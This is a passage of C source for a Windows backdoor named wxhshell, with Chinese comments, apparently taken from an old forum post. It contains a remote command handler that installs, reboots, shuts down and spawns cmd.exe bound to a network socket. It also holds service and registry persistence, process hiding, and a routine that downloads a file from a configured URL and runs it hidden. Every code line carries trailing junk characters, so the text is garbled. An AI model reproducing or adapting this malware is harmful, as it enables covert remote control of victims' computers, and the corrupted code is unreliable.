    switch(cmd[0]) { nbMH:UY,J  
  X']>b   
  // 帮助 _-o*3gmbQ  
  case '?': {  +h9U V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +&4PGv53J  
    break; l0U6eOx  
  } h:z;b;  
  // 安装 -E2[PW4$  
  case 'i': { J.$<Lnt>u  
    if(Install()) 7. G   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o!q9pt  
    else /JEH%)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (|' w$  
    break; FT[oM<M\Xd  
    } 0s$g[Fw<.  
  // 卸载 JjfNH ~  
  case 'r': { T9t9])  
    if(Uninstall()) { )'D<:T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @7u4v%,wB  
    else Jtd@8fVi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Te[[xhTyw  
    break; SjtGU47$!  
    } Rb#Z'1D'G  
  // 显示 wxhshell 所在路径 {;n?c$r  
  case 'p': { }E*d)n|  
    char svExeFile[MAX_PATH]; wju~5  
    strcpy(svExeFile,"\n\r"); ,\+tvrR4X  
      strcat(svExeFile,ExeFile); Gxi;h=J2)>  
        send(wsh,svExeFile,strlen(svExeFile),0); JEdtj1v{O  
    break; ii2oWU  
    } \CUxGyu  
  // 重启 fOE:~3Q  
  case 'b': { i#kRVua/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 66p_d'U  
    if(Boot(REBOOT)) K[~Wj8W0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o4w+)hh  
    else { @T;O^rE~N  
    closesocket(wsh); 6|T{BOW!d  
    ExitThread(0); [cXu<vjFM  
    } g_0"T}09(  
    break; tborRi)  
    } X2 M<DeF:  
  // 关机 puZ<cV e/  
  case 'd': { iL|*g3`-f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l2VO=RDiW  
    if(Boot(SHUTDOWN)) ;cp-jY_U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _q6+]  
    else { `Jm{K*&8Q  
    closesocket(wsh); oxO}m7 ULH  
    ExitThread(0); oq8~PTw  
    } e!tgWYN  
    break; <' P|g  
    } 1G.+)*:3  
  // 获取shell QAygr4\X^  
  case 's': { & \<RVE  
    CmdShell(wsh); B susXW$  
    closesocket(wsh); PO&xi9_  
    ExitThread(0); )Bb :tz+  
    break; VZAdc*X  
  } "MoV*U2s,  
  // 退出 "5{Yn!-:  
  case 'x': { LTzf&TZbx5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^ / f*5k  
    CloseIt(wsh); DOhXb  
    break; !PUhdW  
    } )z/j5tnvm  
  // 离开 +S;8=lzuV  
  case 'q': { @'C)ss=kj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h@{@OAu?  
    closesocket(wsh); a.%]5%O;t  
    WSACleanup(); wTIf#y1=9  
    exit(1); -)y"EJ(N  
    break; ;Jx ^  
        } OR?8F5o?p  
  } ]\#RsVX  
  } *\S>dhJ4  
{/Q pEd>3+  
  // 提示信息 ?a}eRA7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q96g7[  
} 9sYX(Fl  
  } UwE^ij  
1+y&n?  
  return; \F1n Ej  
} ,ypxy/  
 }Ecm  
// shell模块句柄 ARQ1H0_B  
int CmdShell(SOCKET sock) 8$G$Rdn  
{  n8:2Z>  
STARTUPINFO si; .-RWlUe;,  
ZeroMemory(&si,sizeof(si)); ]nfS vPb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "hy#L 0\t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "H G:by  
PROCESS_INFORMATION ProcessInfo; e}K;5o=I  
char cmdline[]="cmd"; P]6pPS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gvcT_'  
  return 0; f^$\+H"W  
} \s~ W;m  
jU4Ir {f  
// 自身启动模式 zcxG%? Q  
int StartFromService(void) OVj,qL)  
{ 9 z3Iwl  
typedef struct o,aI<5"  
{ e;!<3b  
  DWORD ExitStatus; NoKYHN^*w  
  DWORD PebBaseAddress; i^QcW!X&  
  DWORD AffinityMask; (qPZEZKx  
  DWORD BasePriority; 57[O)5u.+  
  ULONG UniqueProcessId; OcSLRN?t  
  ULONG InheritedFromUniqueProcessId; U{ahA  
}   PROCESS_BASIC_INFORMATION; Qz$.t>@V=  
UI8M<  
PROCNTQSIP NtQueryInformationProcess; uk\GAm@O  
b%)a5H(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7s.sbP~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gl!3pTC  
VFYJXR{  
  HANDLE             hProcess; GbL,k? ey  
  PROCESS_BASIC_INFORMATION pbi; _@^msyoq  
jXW71$B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SR43#!99Q  
  if(NULL == hInst ) return 0; mS%D" e  
P}VD}lEyO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^ )+tn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); / 5=A#G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IF1?/D"<  
nZ%<2  
  if (!NtQueryInformationProcess) return 0; $}\. )^[}  
0e}L Z,9e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kXOlZ C  
  if(!hProcess) return 0; \7/xb{z|  
DAvAozM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9k *'5(D4S  
PMTyiwlm  
  CloseHandle(hProcess); |UlScUI,  
E4{^[=}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W0nRUAo[  
if(hProcess==NULL) return 0; BRW   
FijzO  
HMODULE hMod; ] xH `  
char procName[255]; L^0jyp  
unsigned long cbNeeded; ?EpY4k8,  
JgxOxZS`@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IG bQ L  
J7l1-  
  CloseHandle(hProcess); HZP`u >.  
0#yo\McZ  
if(strstr(procName,"services")) return 1; // 以服务启动 Y)a 7osML  
@|cas|U.r  
  return 0; // 注册表启动 a]ftE\99  
} Y)!5Z.K  
"C0oFRk  
// 主模块 Nz]\%c/-  
int StartWxhshell(LPSTR lpCmdLine) xUeLX`73  
{ (>Tu~Vo  
  SOCKET wsl;  oR5`-  
BOOL val=TRUE; :|fzGf  
  int port=0; QzV:^!0J  
  struct sockaddr_in door; QiZThAe  
a"ht\v}1  
  if(wscfg.ws_autoins) Install(); |\b*p:e l  
K(Cv9YQ  
port=atoi(lpCmdLine); /[us;=CM  
D vK}UAj=  
if(port<=0) port=wscfg.ws_port; r<~1:/F|  
av5lgv)3  
  WSADATA data; +:^tppg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {j^}"8GB  
D&]SPhX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hZyz5aZ)K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X"[c[YT!%[  
  door.sin_family = AF_INET; >Ks|yNJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #|gt(p]C  
  door.sin_port = htons(port); P [gqv3V  
D+k5e=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { scA&:y  
closesocket(wsl); FfP Ce5)  
return 1; u/``*=Y@  
} hB|LW^@v  
m+V'*[O{  
  if(listen(wsl,2) == INVALID_SOCKET) { O@EpRg1  
closesocket(wsl); % +eZ U)N  
return 1; NB>fr#pb  
} )TP7gLv=b  
  Wxhshell(wsl); +=:CW'B5  
  WSACleanup(); a|66[  
3g} ]nj:N  
return 0; :PjHsNp;^  
*%Q!22?6F  
} s K s D  
/<M08ze  
// 以NT服务方式启动 >0u4>=#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \5O4}sm$*  
{ :}j{NM#  
DWORD   status = 0; J;G+6C$:  
  DWORD   specificError = 0xfffffff; zf6k%  
:,:r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4GaF:/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mNs&*h}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iGm[fxQ|  
  serviceStatus.dwWin32ExitCode     = 0; L%N|8P[  
  serviceStatus.dwServiceSpecificExitCode = 0; \/'u(|G  
  serviceStatus.dwCheckPoint       = 0; *R8q)Q  
  serviceStatus.dwWaitHint       = 0; qM]eK\q 1  
?mrG^TV^+r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Wk\ 6  
  if (hServiceStatusHandle==0) return; LUJKR6oT{>  
 :3u>%  
status = GetLastError(); Eiwo== M  
  if (status!=NO_ERROR) #=+d;RdlW  
{ H}X3nl\]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {bl^O  
    serviceStatus.dwCheckPoint       = 0; rFdovfb   
    serviceStatus.dwWaitHint       = 0; R~;<}!Gtx  
    serviceStatus.dwWin32ExitCode     = status; nKufVe  
    serviceStatus.dwServiceSpecificExitCode = specificError; p)Z$q2L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g)2}`}  
    return; =3l%ZL/  
  } "M1[@xog  
}<A\>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fnwtD *``  
  serviceStatus.dwCheckPoint       = 0; l *.#g  
  serviceStatus.dwWaitHint       = 0; gHA"O@HgDI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "ifYy>d  
} leX&py  
*N<~"D  
// 处理NT服务事件,比如:启动、停止 r#3(;N{=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;#cb%e3  
{ ZB<goEg  
switch(fdwControl) A2g +m  
{ g!cTG-bh>J  
case SERVICE_CONTROL_STOP: x.~Z9j  
  serviceStatus.dwWin32ExitCode = 0; z4{ H=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M-"%4^8_  
  serviceStatus.dwCheckPoint   = 0; jBarYg  
  serviceStatus.dwWaitHint     = 0; ,;hI yT  
  { 6:#zlKYJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i4&"-ujrm  
  } G2zfdgW${/  
  return; F3i+t+Jt  
case SERVICE_CONTROL_PAUSE: Hq3"OMGq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X^eTf-*T  
  break; q:+,'&<D  
case SERVICE_CONTROL_CONTINUE: $62!R]C9\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O}"VK  
  break; pQ!NhzQ  
case SERVICE_CONTROL_INTERROGATE: (%YFcE)SRS  
  break; M)#aX|%Mh  
}; -]\UFR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v&D^N9hy9  
} tc.R(F96  
5ZSV)$t  
// 标准应用程序主函数 u-$(TyDEl|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vzd1:'^t  
{ $&I##od  
S{zi8Oc6  
// 获取操作系统版本 I_oJx  
OsIsNt=GetOsVer(); Cpz'6F^oP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D({% FQ"  
}v"X.fa^  
  // 从命令行安装 OV_Y`u7YR  
  if(strpbrk(lpCmdLine,"iI")) Install(); C%9;~S  
"FwbhD0Gb  
  // 下载执行文件 JUt 7  
if(wscfg.ws_downexe) { 7H %>\^A^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) # 4L[8(+V  
  WinExec(wscfg.ws_filenam,SW_HIDE); yn)K1f^  
} hjtkq .@  
#qtAFIm'  
if(!OsIsNt) { 67wY_\m9I  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,|<2wn#q  
HideProc(); 4RGEg;]S  
StartWxhshell(lpCmdLine); @bSxT,2  
} uckag/tv  
else yF8 av=<{  
  if(StartFromService()) K*xqQ]&  
  // 以服务方式启动 LJt#c+]Li  
  StartServiceCtrlDispatcher(DispatchTable); hOx'uO`x(  
else N0,wT6.  
  // 普通方式启动 */;[ -9  
  StartWxhshell(lpCmdLine); F#*vJb)  
Mk Er|w'  
return 0; %QCh#v=ks  
}
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只看该作者 1 发表于: 2006-10-10
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